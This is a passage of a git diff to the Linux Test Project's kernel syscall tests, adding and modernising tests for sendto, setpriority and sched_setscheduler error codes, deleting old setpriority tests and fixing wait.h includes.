+	if (sched_getscheduler(0) != SCHED_OTHER)
+		tst_res(TBROK | TERRNO, "ERROR sched_setscheduler");
+
+	tst_res(TINFO, "Setting euid to nobody to drop privilege");
+
+	SAFE_SETEUID(nobody_uid);
+	SAFE_GETRESUID(&ruid, &euid, &suid);
+	if (euid != nobody_uid)
+		tst_brk(TBROK | TERRNO, "ERROR seteuid(nobody_uid)");
+}
+
+static void do_test(unsigned int i)
+{
+	int status = 0;
+	pid_t f_pid = SAFE_FORK();
+
+	if (f_pid == 0) {
+		tst_res(TINFO, "forked pid is %d", getpid());
+		verify_fn(i);
+		exit(0);
+	}
+
+	SAFE_WAIT(&status);
+}
+
+static struct tst_test test = {
+	.tid = "sched_setscheduler03",
+	.tcnt = ARRAY_SIZE(cases),
+	.test = do_test,
+	.setup = setup,
+	.needs_root = 1,
+	.forks_child = 1
+};
+
diff --git a/testcases/kernel/syscalls/sendto/sendto02.c b/testcases/kernel/syscalls/sendto/sendto02.c
new file mode 100644
index 0000000..b7b59fc
--- /dev/null
+++ b/testcases/kernel/syscalls/sendto/sendto02.c
@@ -0,0 +1,91 @@
+/*
+ * Copyright(c) 2016 Fujitsu Ltd.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * You should have received a copy of the GNU General Public License
+ * alone with this program.
+ */
+
+/*
+ * Test Name: sendto02
+ *
+ * Description:
+ * When sctp protocol is selected in socket(2) and buffer is invalid,
+ * sendto(2) should fail and set errno to EFAULT, but it sets errno
+ * to ENOMEM.
+ *
+ * This is a regression test and has been fixed by kernel commit:
+ * 6e51fe7572590d8d86e93b547fab6693d305fd0d (sctp: fix -ENOMEM result
+ * with invalid user space pointer in sendto() syscall)
+ */
+
+#include <errno.h>
+#include <string.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+#include "tst_test.h"
+
+#ifndef IPPROTO_SCTP
+# define IPPROTO_SCTP	132
+#endif
+
+static int sockfd;
+static struct sockaddr_in sa;
+
+static void setup(void)
+{
+	sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+	if (sockfd == -1) {
+		if (errno == EPROTONOSUPPORT)
+			tst_brk(TCONF, "sctp protocol was not supported");
+		else
+			tst_brk(TBROK | TERRNO, "socket() failed with sctp");
+	}
+
+	memset(&sa, 0, sizeof(sa));
+	sa.sin_family = AF_INET;
+	sa.sin_addr.s_addr = inet_addr("127.0.0.1");
+	sa.sin_port = htons(11111);
+}
+
+static void cleanup(void)
+{
+	if (sockfd > 0)
+		SAFE_CLOSE(sockfd);
+}
+
+static void verify_sendto(void)
+{
+	TEST(sendto(sockfd, NULL, 1, 0, (struct sockaddr *) &sa, sizeof(sa)));
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "sendto(fd, NULL, ...) succeeded unexpectedly");
+		return;
+	}
+
+	if (TEST_ERRNO == EFAULT) {
+		tst_res(TPASS | TTERRNO,
+			"sendto(fd, NULL, ...) failed expectedly");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO,
+		"sendto(fd, NULL, ...) failed unexpectedly, expected EFAULT");
+}
+
+static struct tst_test test = {
+	.tid = "sendto02",
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_sendto,
+};
diff --git a/testcases/kernel/syscalls/setpgid/setpgid03.c b/testcases/kernel/syscalls/setpgid/setpgid03.c
index 96ebe14..51e0eeb 100644
--- a/testcases/kernel/syscalls/setpgid/setpgid03.c
+++ b/testcases/kernel/syscalls/setpgid/setpgid03.c
@@ -28,7 +28,7 @@
  *            has performed exec()
  */
 
-#include <wait.h>
+#include <sys/wait.h>
 #include <limits.h>
 #include <signal.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/setpgrp/setpgrp02.c b/testcases/kernel/syscalls/setpgrp/setpgrp02.c
index 681223b..f1f6ce7 100644
--- a/testcases/kernel/syscalls/setpgrp/setpgrp02.c
+++ b/testcases/kernel/syscalls/setpgrp/setpgrp02.c
@@ -45,7 +45,7 @@
  *	None
  */
 #include <errno.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include "test.h"
 
 char *TCID = "setpgrp02";
diff --git a/testcases/kernel/syscalls/setpriority/setpriority01.c b/testcases/kernel/syscalls/setpriority/setpriority01.c
index 664c78e..df02bce 100644
--- a/testcases/kernel/syscalls/setpriority/setpriority01.c
+++ b/testcases/kernel/syscalls/setpriority/setpriority01.c
@@ -1,95 +1,149 @@
 /*
  * Copyright (c) International Business Machines  Corp., 2001
- *	03/2001 - Written by Wayne Boyer
+ *  03/2001 Written by Wayne Boyer
+ *  11/2016 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  *
- * This program is free software;  you can redistribute it and/or modify
+ * This program is free software; you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
  * the Free Software Foundation; either version 2 of the License, or
  * (at your option) any later version.
  *
  * This program is distributed in the hope that it will be useful,
  * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
- * DESCRIPTION
- *	setpriority01 - set the priority for the test process lower.
+ * Verify that setpriority(2) succeeds set the scheduling priority of
+ * the current process, process group or user.
  */
 
-#include "test.h"
-
+#define _GNU_SOURCE
 #include <errno.h>
-#include <sys/time.h>
+#include <pwd.h>
+#include <stdlib.h>
 #include <sys/resource.h>
 
-static void cleanup(void);
-static void setpriority_verify(const int);
-static void setup(void);
+#include "tst_test.h"
 
-char *TCID = "setpriority01";
-int TST_TOTAL = 40;
+static const char *username = "ltp_setpriority01";
+static int pid, uid, user_added;
 
-int main(int ac, char **av)
+static struct tcase {
+	int which;
+	int *who;
+} tcases[] = {
+	{PRIO_PROCESS, &pid},
+	{PRIO_PGRP, &pid},
+	{PRIO_USER, &uid}
+};
+
+static const char *str_which(int which)
 {
-	int lc;
-	int new_val;
+	switch (which) {
+	case PRIO_PROCESS:
+		return "PRIO_PROCESS";
+	case PRIO_PGRP:
+		return "PRIO_PGRP";
+	case PRIO_USER:
+		return "PRIO_USER";
+	default:
+		return "???";
+	}
+}
 
-	tst_parse_opts(ac, av, NULL, NULL);
+static void setpriority_test(struct tcase *tc)
+{
+	int new_prio, cur_prio;
+	int failflag = 0;
 
-	setup();
+	for (new_prio = -20; new_prio < 20; new_prio++) {
+		TEST(setpriority(tc->which, *tc->who, new_prio));
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (new_val = -20; new_val < 20; new_val++)
-			setpriority_verify(new_val);
+		if (TEST_RETURN != 0) {
+			tst_res(TFAIL | TTERRNO,
+				"setpriority(%d, %d, %d) failed",
+				tc->which, *tc->who, new_prio);
+			failflag = 1;
+			continue;
+		}
+
+		cur_prio = SAFE_GETPRIORITY(tc->which, *tc->who);
+
+		if (cur_prio != new_prio) {
+			tst_res(TFAIL, "current priority(%d) and "
+				"new priority(%d) do not match",
+				cur_prio, new_prio);
+			failflag = 1;
+		}
 	}
 
-	cleanup();
-	tst_exit();
+	if (!failflag) {
+		tst_res(TPASS, "setpriority(%s(%d), %d, -20..19) succeeded",
+			str_which(tc->which), tc->which, *tc->who);
+	}
+}
 
+static void verify_setpriority(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		SAFE_SETUID(uid);
+		SAFE_SETPGID(0, 0);
+
+		TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+		exit(0);
+	}
+
+	TST_CHECKPOINT_WAIT(0);
+
+	setpriority_test(tc);
+
+	TST_CHECKPOINT_WAKE(0);
+
+	tst_reap_children();
 }
 
 static void setup(void)
 {
-	tst_require_root();
+	const char *const cmd_useradd[] = {"useradd", username, NULL};
+	struct passwd *ltpuser;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	if (eaccess("/etc/passwd", W_OK))
+		tst_brk(TCONF, "/etc/passwd is not accessible");
 
-	TEST_PAUSE;
-}
+	tst_run_cmd(cmd_useradd, NULL, NULL, 0);
+	user_added = 1;
 
-static void setpriority_verify(const int new_prio)
-{
-	int priority;
-	TEST(setpriority(PRIO_PROCESS, 0, new_prio));
-
-	if (TEST_RETURN != 0) {
-		tst_resm(TFAIL | TTERRNO, "setpriority(%d) failed", new_prio);
-		return;
-	}
-
-	priority = getpriority(PRIO_PROCESS, 0);
-	if (errno == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "getpriority call failed - errno = %d - %s", errno,
-			 strerror(errno));
-	}
-
-	if (priority == new_prio) {
-		tst_resm(TPASS, "setpriority(%d) succeeded", new_prio);
-	} else {
-		tst_resm(TFAIL,
-			 "current priority-%d and new priority-%d do not match",
-			 priority, new_prio);
-	}
+	ltpuser = SAFE_GETPWNAM(username);
+	uid = ltpuser->pw_uid;
 }
 
 static void cleanup(void)
 {
+	if (!user_added)
+		return;
+
+	const char *const cmd_userdel[] = {"userdel", "-r", username, NULL};
+
+	if (tst_run_cmd(cmd_userdel, NULL, NULL, 1))
+		tst_res(TWARN | TERRNO, "'userdel -r %s' failed", username);
 }
+
+static struct tst_test test = {
+	.tid = "setpriority01",
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_setpriority,
+};
diff --git a/testcases/kernel/syscalls/setpriority/setpriority02.c b/testcases/kernel/syscalls/setpriority/setpriority02.c
index e49b5f2..cf58e02 100644
--- a/testcases/kernel/syscalls/setpriority/setpriority02.c
+++ b/testcases/kernel/syscalls/setpriority/setpriority02.c
@@ -1,143 +1,130 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  03/2001 Written by Wayne Boyer
+ *  11/2016 Modified by Guangwen Feng <fenggw-fnst@cn.fujitsu.com>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, see <http://www.gnu.org/licenses/>.
  */
 
 /*
- * NAME
- *	setpriority02.c
- *
- * DESCRIPTION
- *	setpriority02 - test for an expected failure by trying to raise
- *			the priority for the test process while not having
- *			permissions to do so.
- *
- * ALGORITHM
- *	loop if that option was specified
- *	issue the system call
- *	check the errno value
- *	  issue a PASS message if we get EACCESS - errno 13
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  setpriority02 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * Verify that,
+ *  1) setpriority(2) fails with -1 and sets errno to EINVAL if 'which'
+ *     argument was not one of PRIO_PROCESS, PRIO_PGRP, or PRIO_USER.
+ *  2) setpriority(2) fails with -1 and sets errno to ESRCH if no
+ *     process was located for 'which' and 'who' arguments.
+ *  3) setpriority(2) fails with -1 and sets errno to EACCES if an
+ *     unprivileged user attempted to lower a process priority.
+ *  4) setpriority(2) fails with -1 and sets errno to EPERM if an
+ *     unprivileged user attempted to change a process which ID is
+ *     different from the test process.
  */
 
-#include "test.h"
-
 #include <errno.h>
-#include <sys/time.h>
-#include <sys/resource.h>
 #include <pwd.h>
+#include <stdlib.h>
+#include <sys/resource.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include "tst_test.h"
 
-void cleanup(void);
-void setup(void);
+#define NEW_PRIO	-2
+#define INVAL_FLAG	-1
+#define INVAL_ID	-1
+#define INIT_PID	1
 
-char *TCID = "setpriority02";
-int TST_TOTAL = 1;
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
+static uid_t uid;
 
-int main(int ac, char **av)
+static struct tcase {
+	int which;
+	int who;
+	int prio;
+	int exp_errno;
+	int unprivil;
+} tcases[] = {
+	{INVAL_FLAG, 0, NEW_PRIO, EINVAL, 0},
+
+	{PRIO_PROCESS, INVAL_ID, NEW_PRIO, ESRCH, 0},
+	{PRIO_PGRP, INVAL_ID, NEW_PRIO, ESRCH, 0},
+	{PRIO_USER, INVAL_ID, NEW_PRIO, ESRCH, 0},
+
+	{PRIO_PROCESS, 0, NEW_PRIO, EACCES, 1},
+	{PRIO_PGRP, 0, NEW_PRIO, EACCES, 1},
+
+	{PRIO_PROCESS, INIT_PID, NEW_PRIO, EPERM, 1}
+};
+
+static void setpriority_test(struct tcase *tc)
 {
-	int lc;
-	int new_val = -2;
+	char *desc = "";
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (tc->unprivil)
+		desc = "as unprivileged user ";
 
-	setup();		/* global setup */
+	TEST(setpriority(tc->which, tc->who, tc->prio));
 
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Try to raise the priority of this process from a default of
-		 * 0 to a new value of -2.  This should give an EACCES error.
-		 */
-
-		/* call the system call with the TEST() macro */
-		TEST(setpriority(PRIO_PROCESS, 0, new_val));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call failed to produce expected error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case EACCES:
-			tst_resm(TPASS, "expected failure - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed to produce expected error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		}
-	}
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-	tst_require_root();
-
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "setreuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("setreuid");
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL,
+			"setpriority(%d, %d, %d) %ssucceeds unexpectedly "
+			"returned %ld", tc->which, tc->who, tc->prio, desc,
+			TEST_RETURN);
+		return;
 	}
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	if (TEST_ERRNO != tc->exp_errno) {
+		tst_res(TFAIL | TTERRNO,
+			"setpriority(%d, %d, %d) %sshould fail with %s",
+			tc->which, tc->who, tc->prio, desc,
+			tst_strerrno(tc->exp_errno));
+		return;
+	}
 
-	TEST_PAUSE;
+	tst_res(TPASS | TTERRNO,
+		"setpriority(%d, %d, %d) %sfails as expected",
+		tc->which, tc->who, tc->prio, desc);
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- *	       or premature exit.
- */
-void cleanup(void)
+static void verify_setpriority(unsigned int n)
 {
+	struct tcase *tc = &tcases[n];
 
+	if (tc->unprivil) {
+		if (!SAFE_FORK()) {
+			SAFE_SETUID(uid);
+			SAFE_SETPGID(0, 0);
+			setpriority_test(tc);
+			exit(0);
+		}
+
+		tst_reap_children();
+	} else {
+		setpriority_test(tc);
+	}
 }
+
+static void setup(void)
+{
+	struct passwd *ltpuser;
+
+	ltpuser = SAFE_GETPWNAM("nobody");
+	uid = ltpuser->pw_uid;
+}
+
+static struct tst_test test = {
+	.tid = "setpriority02",
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.test = verify_setpriority,
+};
diff --git a/testcases/kernel/syscalls/setpriority/setpriority03.c b/testcases/kernel/syscalls/setpriority/setpriority03.c
deleted file mode 100644
index e61899e..0000000
--- a/testcases/kernel/syscalls/setpriority/setpriority03.c
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	setpriority03.c
- *
- * DESCRIPTION
- *	setpriority03 - test for an expected failure by using an invalid
- *			PRIO value
- *
- * CALLS
- *	setpriority()
- *
- * ALGORITHM
- *	loop if that option was specified
- *	issue the system call
- *	check the errno value
- *	  issue a PASS message if we get EINVAL - errno 22
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  setpriority03 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
- */
-
-#include "test.h"
-
-#include <errno.h>
-#include <sys/time.h>
-#include <sys/resource.h>
-
-void cleanup(void);
-void setup(void);
-
-char *TCID = "setpriority03";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
-{
-	int lc;
-	int new_val = 2;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Use an invalid PRIO value by making it negative.
-		 * This should give an EINVAL error.
-		 * PRIO_PROCESS = 0, PRIO_PGRP = 1, PRIO_USER = 2
-		 */
-
-		/* call the system call with the TEST() macro */
-		TEST(setpriority(-PRIO_PGRP, 0, new_val));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call failed to produce expected error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		}
-
-		switch (TEST_ERRNO) {
-		case EINVAL:
-			tst_resm(TPASS, "expected failure - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed to produce expected error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		}
-	}
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- *	       or premature exit.
- */
-void cleanup(void)
-{
-
-}
diff --git a/testcases/kernel/syscalls/setpriority/setpriority04.c b/testcases/kernel/syscalls/setpriority/setpriority04.c
deleted file mode 100644
index 162a364..0000000
--- a/testcases/kernel/syscalls/setpriority/setpriority04.c
+++ /dev/null
@@ -1,134 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	setpriority04.c
- *
- * DESCRIPTION
- *	setpriority04 - test for an expected failure by using an invalid
- *			process id
- *
- * ALGORITHM
- *	loop if that option was specified
- *	issue the system call with an invalid process id
- *	check the errno value
- *	  issue a PASS message if we get ESRCH - errno 3
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  setpriority04 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
- */
-
-#include "test.h"
-
-#include <errno.h>
-#include <sys/time.h>
-#include <sys/resource.h>
-
-void cleanup(void);
-void setup(void);
-
-char *TCID = "setpriority04";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
-{
-	int lc;
-	int new_val = 2;
-	pid_t unused_pid;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	unused_pid = tst_get_unused_pid(cleanup);
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Try to access an invalid process.
-		 * This should give an ESRCH error.
-		 */
-
-		/* call the system call with the TEST() macro */
-		TEST(setpriority(PRIO_PROCESS, unused_pid, new_val));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call failed to produce expected error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-			continue;
-		}
-
-		switch (TEST_ERRNO) {
-		case ESRCH:
-			tst_resm(TPASS, "expected failure - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed to produce expected error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- *	       or premature exit.
- */
-void cleanup(void)
-{
-
-}
diff --git a/testcases/kernel/syscalls/setpriority/setpriority05.c b/testcases/kernel/syscalls/setpriority/setpriority05.c
deleted file mode 100644
index 04ffea4..0000000
--- a/testcases/kernel/syscalls/setpriority/setpriority05.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	setpriority05.c
- *
- * DESCRIPTION
- *	setpriority05 - test for an expected failure by trying to change
- *			a process with an ID that is different from the
- *			test process
- *
- * ALGORITHM
- *	loop if that option was specified
- *	issue the system call with init's process id (1)
- *	check the errno value
- *	  issue a PASS message if we get EPERM - errno 1
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  setpriority05 [-c n] [-e] [-i n] [-I x] [-p x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
- */
-
-#include "test.h"
-
-#include <errno.h>
-#include <sys/time.h>
-#include <sys/resource.h>
-#include <pwd.h>
-
-void cleanup(void);
-void setup(void);
-
-char *TCID = "setpriority05";
-int TST_TOTAL = 1;
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-int main(int ac, char **av)
-{
-	int lc;
-	int new_val = 2;
-	int init_val = 1;	/* the init process = id 1 */
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Try to access the init process.
-		 * This should give an EPERM error.
-		 */
-
-		/* call the system call with the TEST() macro */
-		TEST(setpriority(PRIO_PROCESS, init_val, new_val));
-
-		if (TEST_RETURN == 0) {
-			tst_resm(TFAIL, "call failed to produce expected error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		}
-
-		switch (TEST_ERRNO) {
-		case EPERM:
-			tst_resm(TPASS, "expected failure - errno = %d - %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed to produce expected error "
-				 "- errno = %d - %s", TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		}
-	}
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-	tst_require_root();
-
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "setuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("setuid");
-	}
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- *	       or premature exit.
- */
-void cleanup(void)
-{
-
-}
diff --git a/testcases/kernel/syscalls/setreuid/setreuid06.c b/testcases/kernel/syscalls/setreuid/setreuid06.c
index 4771ea5..8dbeb20 100644
--- a/testcases/kernel/syscalls/setreuid/setreuid06.c
+++ b/testcases/kernel/syscalls/setreuid/setreuid06.c
@@ -22,7 +22,7 @@
  * Test that EPERM is set when setreuid is given an invalid user id.
  */
 
-#include <wait.h>
+#include <sys/wait.h>
 #include <limits.h>
 #include <signal.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/setrlimit/Makefile b/testcases/kernel/syscalls/setrlimit/Makefile
index bd617d8..257a189 100644
--- a/testcases/kernel/syscalls/setrlimit/Makefile
+++ b/testcases/kernel/syscalls/setrlimit/Makefile
@@ -20,4 +20,8 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+ifeq ($(ANDROID),1)
+FILTER_OUT_MAKE_TARGETS	+= setrlimit01
+endif
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/setsid/setsid01.c b/testcases/kernel/syscalls/setsid/setsid01.c
index ad5687c..ed8f0e4 100644
--- a/testcases/kernel/syscalls/setsid/setsid01.c
+++ b/testcases/kernel/syscalls/setsid/setsid01.c
@@ -30,7 +30,7 @@
  * RESTRICTIONS
  * 	This test doesn't follow good LTP format - PLEASE FIX!
  */
-#include <wait.h>
+#include <sys/wait.h>
 #include <limits.h>
 #include <signal.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/setxattr/setxattr01.c b/testcases/kernel/syscalls/setxattr/setxattr01.c
index 9f3af6e..478f994 100644
--- a/testcases/kernel/syscalls/setxattr/setxattr01.c
+++ b/testcases/kernel/syscalls/setxattr/setxattr01.c
